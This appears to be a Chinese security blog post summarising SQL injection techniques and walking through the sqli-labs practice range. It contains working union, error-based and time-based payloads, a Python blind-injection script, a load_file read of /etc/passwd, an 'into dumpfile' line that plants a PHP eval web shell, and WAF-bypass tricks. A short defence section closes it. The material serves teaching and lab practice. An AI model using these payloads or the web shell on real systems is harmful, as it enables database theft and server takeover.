WEB-漏洞总结(sql注入详解)

前言:

本章大部分内容来自大佬的博客,本着梳理的思想来写的这篇文章,如有侵权,联系必删!

参考以下大佬文章

sql注入总结
sqli-labs详解
sql注入详细函数

SQL注入

sql注入分类

1.post注入,get注入,cookie注入,http头注入(可能user-agent存在注入)

2.数字型注入,字符型注入(类似一个int,一个chr)

3.盲注:布尔盲注,时间盲注,例如一个数据库名为security,利用一些函数一个字符一个字符判断,这就是盲注。常见盲注函数
报错注入,联合注入(union),堆叠注入(;)用分号分隔执行多条命令

length()返回数据库长度

函数left()与函数right()
left(str,num):对字符串str从左开始数起,返回num个字符(与函数right()相反)

substr()和substring()函数实现的功能是一样的,均为截取字符串。函数mid()用法也类似
substr(database(),1,1),查看数据库名第一位,substr(database(),2,1)查看数据库名第二位,依次查看各位字符。

函数ascii()

返回字符串str的最左字符的数值,ASCII()返回数值是从0到255

函数ord()

与函数ascii()相同,返回字符串第一个字符的 ASCII 值。

时间盲注函数

函数sleep()

sleep(5)	   过5s响应

函数if()

if(1=1,3,4)		返回3
if(1=2,3,4)		返回4
报错注入:利用报错函数,常见报错函数

floor()

函数floor(),向下取整,floor(3.8) = 3

函数rand(),取随机数,若有参数x,则每个x对应一个固定的值,rand(0) = (0,1)内的任意一个数

id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

extractvalue()
extractvalue(XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
在数据库中报错

 select extractvalue(1,concat(0x7E,(select database()),0x7E));
 select extractvalue(1,concat(0x7E,(select group_concat(username) from users),0x7E));

在这里插入图片描述
注:解释一下,第一个传入1,第二个传入需要查询的东西,里面用~分隔好查看数据。

updatexml()
updatexml(XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

select updatexml(1,concat(0x7E,(select database()),0x7E),1);


注:这里解释一下,updatexml第一个和第三个参数传入1,第二个传入需要报错查询的东西,本例就是查询数据库名字,concat函数为拼接函数,concat(‘1’,‘2’,‘3’)=123会拼接输出,为了看清楚数据库名字这里前后都加了一个’~'字符也就是0x7e,输出~security~

exp()
函数exp()是以e为底的指数函数,exp(1)=2.7182818=e

id =1 and EXP(~(SELECT * from(select user())a))

~0表示对0进行按位取反
在这里插入图片描述

将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。
通过子查询与按位取反,造成一个DOUBLE overflow error,并借由此注出数据。

1" union select 1,2,exp(~(select * from (select database())a))--+

1" union select 1,2,exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema=database())a))--+

联合注入函数,常见的这个
order by查询有几列

id=’ union select database() #
yiz’ union select 1,database(),3 # 这里#为注释,也可以用 --+来代表注释
1,2,3是有3列,然后2位置可以在页面看到回显。

mysql读取函数

函数load_file() ,作用:load_file这个函数是读取文件的

#读取文件/etc/passwd (还可以查看其他文件,需要相应的权限)
#路径可以为这两种格式"\\"与"/",
union select 1,2,load_file('/etc/passwd')

函数into outfile,作用:函数into outfile 与 into dumpfile都是写文件

#在/var/www/html新建文件a.php,在将一句话木马写入,前面是文件内容,后面是路径
union select 1,2,"<?php @eval($_POST[cmd]);?>" into dumpfile '/var/www/html/a.php' 

在这里插入图片描述
这里我本机的mysql有安全机制写不了,win路径需要加\来防止转义路径.

函数addslashes()

作用:函数返回在预定义字符之前添加反斜杠的字符串

预定义字符是:

单引号(’)
双引号(")
反斜杠(\)
NULL

在这里插入图片描述
类似于gpc的功能,转义特殊字符,防止注入,也可以绕过

函数stripslashes()
作用:stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。

去掉反斜杠。

下面我们来到实战,我用的是sqli-labs靶场。

在这里插入图片描述

第一关,先输入一个单引号报错,然后用order by判断列,发现是3列,最后用union select判断回显,查询数据库名,id=-1是让他报错,–+是注释相当于#。

到这里我们可以判断存在sql注入了,当然如果网站没有waf的情况下,我们可以直接用sqlmap去dump数据库,如果有waf就会限制一些查询的函数,这就得手工注入了,也可以手工注入写sqlmap的脚本进行dump数据库,这个我后面会写过waf的文章,这里不赘述了。

第二关

在这里插入图片描述
在这里插入图片描述
这里我们发现加单引号不行了,怎么办呢,我们可以利用and 1=2来进行报错,达到注入目的。
在这里插入图片描述
你会发现,如果id=-1也是可以报错的,初步判断为数字型注入,我们来看一下源码
在这里插入图片描述
可以看到确实是数字型。

好的,第三关
在这里插入图片描述
我们发现无论是加单引号还是双引号都不能闭合,直接看源码吧
在这里插入图片描述
这里加了一个括号,我们需要闭合括号,所以payload是

http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,database(),3 --+
  $sql="SELECT * FROM users WHERE id=('-1') union select 1,database(),3 --+') LIMIT 0,1";

第四关

在这里插入图片描述
这里传入的id前后都加了一个双引号,我们需要闭合他

在这里插入图片描述
在这里插入图片描述
可以看到本身的双引号被我们闭合了。

第5关
在这里插入图片描述
正常注入发现没有回显,判断为盲注,布尔或者时间盲注,如果嫌麻烦可以直接sqlmap干了,这里我们先看一下源码。
在这里插入图片描述
可以看到存在一个mysql_error()函数,我们可以利用。
在这里插入图片描述
发现有明显延迟,我们可以盲注,?id=1' and length(database())=8,一般来说是>8,<8这样盲注的。

好了,我贴一个大佬写的脚本吧

在这里插入图片描述

import requests
import datetime
import time 


#获取数据库长度

def database_len():
	for i in range(1,10):
		url="http://127.0.0.1/sqli-labs/Less-5/index.php"
		payload="?id=1' and if (length(database())>%s,sleep(5),0) --+" %i

		#判断数据库长度,如果成立就延迟1秒,这里我们可以稍微大一点,设置20

		time1=datetime.datetime.now()
		r=requests.get(url+payload)
		time2=datetime.datetime.now()
		sec=(time2-time1).seconds

		#根据时间判断是否sleep1了,这里我是本地延迟设置5,也可以更高

		if sec>=5:
			print(i)
		else:
			print(i)
			break
	print('database_len:',i)


#获取数据库名

def database_name():
	name=''
	for j in range(1,9):
		for i in '0123456789abcdefghijklmnopqrstuvwxyz':
			url="http://127.0.0.1/sqli-labs/Less-5/index.php"
			payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)

			#print(url+payload)
			time1=datetime.datetime.now()
			r=requests.get(url+payload)
			time2=datetime.datetime.now()
			sec=(time2-time1).seconds

			if sec>=3:
				name+=i
				print(name)
				break
	print('database_name:',name)

if __name__ == '__main__':
    database_name()
    #database_len()

这里其实还可以利用updatexml()来报错注入,进行爆数据库

好了,第6关
在这里插入图片描述
只是把单引号换成双引号。

第七关

在这里插入图片描述
题目提示我们需要写文件,但是我的mysql设置的安全性,需要先修改一下才能写文件
这里贴一个payload吧

在这里插入图片描述
实战可以改成php的一句话木马,但是需要root权限,也就是dba。

第八关
在这里插入图片描述
第九关
在这里插入图片描述
发现这两关和第五关一样,都可以时间盲注。

第10关也就是换成双引号。

第11关
在这里插入图片描述
看一下页面,应该是post注入了,前10都是get型,原理都一样。

在这里插入图片描述

在这里插入图片描述
我的hackbar好像坏了,用不了post了

第12关
在这里插入图片描述
中间几关就不写了

第18关
在这里插入图片描述
在user-agent这里我们可以注入,右边页面也是成功回显了
发现并没有我们想要的结果,那么我们尝试报错注入

1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#

在这里插入图片描述
在这里插入图片描述
源码太长。

第19关
基于头部的Referer POST报错注入

在这里插入图片描述
第20关基于cookie的注入
21关就是把cookie进行了base64编码,但是还是可以注入的,
一共75关,我挑几个典型的写一下

24关-二次注入

原理就是当我们注册一个账号的时候,他会写入数据库,我们可以这样

先注册一个admin’#用户,然后登录admin’#,修改admin’#用户的密码就相当于修改了admin的密码。

注册一个admin '# 虽然他是转义了,但是仍然在数据库中仍然存好了,

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin '#' and password='$curr_pass' ";

后面的关卡都是一些双写绕过,大小写绕过,过滤注释和空格等等

我们发现,他将空格和 and 都过滤了,
and 我们可以进行双写,空格该怎么办?
我们熟知的有:
/**/ () + ` \t
可是都不行,
他的过滤很多

我们可以使用url编码绕过

%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
() 绕过

在这里插入图片描述

Less-29 基于WAF的一个错误

http参数污染,见sql注入总结的HTTP参数污染即可,

就例如传入2个id,先判断他会读取哪个id,是前一个还是后一个

上面已经说过,waf服务器(tomcat)只解析重复参数里面的前者,而真正的web服务器(Apache)只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容
在这里插入图片描述

32关

Bypass addslashes() ,addslashes()函数是类似gpc的转义函数

宽字节注入的本质是PHP与MySQL使用的字符集不同,只要低位的范围中含有0x5c的编码,就可以进行宽字节注入

对于类似进行转义的,我们可以进行宽字节注入,

大小写绕过
双写绕过
编码绕过(url全编码、十六进制)
内联注释绕过
关键字替换
逗号绕过

substr、mid()函数中可以利用from to来摆脱对逗号的利用;

limit中可以利用offset来摆脱对逗号的利用

堆叠注入
并非所有环境都支持堆叠注入,比如Oracle
查询时通常只返回一个结果,导致后面的SQL语句可能无法回显到页面上

内联注释

/*!...*/ 里面加了!就会执行
/*50001*/ 就是如果里面数字大于数据库版本就会成注释,小于就正常执行

我的数据库版本是5.7.26
在这里插入图片描述
在这里插入图片描述

逻辑符号的替换
and=&&
or=||
xor=|
not=!

空格绕过
用括号,+等绕过

等价函数绕过
hex()、bin()=ascii()
concat_ws()=group_concat()
mid()、substr()=substring()

缓冲区溢出绕过

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+

其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。一般会存在临界值,其实这种方法还对后缀名的绕过也有用,也叫垃圾字符填充,可以绕过waf和一些正则。

第42关

在这里插入图片描述
堆叠注入修改密码。

在这里插入图片描述

select 1,2,database() --+

group_concat(table_name) from information_schema.tables where table_schema='challenges' --+   #这里是数据库名字,获取表名

group_concat(column_name) from information_schema.columns where table_name='af9kydfo5w' --+ #这里是表名字,获取列名

secret_4V1K from challenges.af9kydfo5w --+    #这里是
 

select 列名 from 数据库名.表名

总结

1.对于sql注入,就是利用一些报错函数,还有一些闭合,注释的符号,一些判断函数,进行爆数据库和表,列名。
2.绕过sql注入的一些限制,本质来说就是替换。

防御sql注入的方式

1.不能相信任何客户端的传参,一定要进行过滤,转义,建议自己写个转义函数,然后再服务端解密就可以有效预防sql注入。
2.预编译
3.PDO
4.正则表达式过滤

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值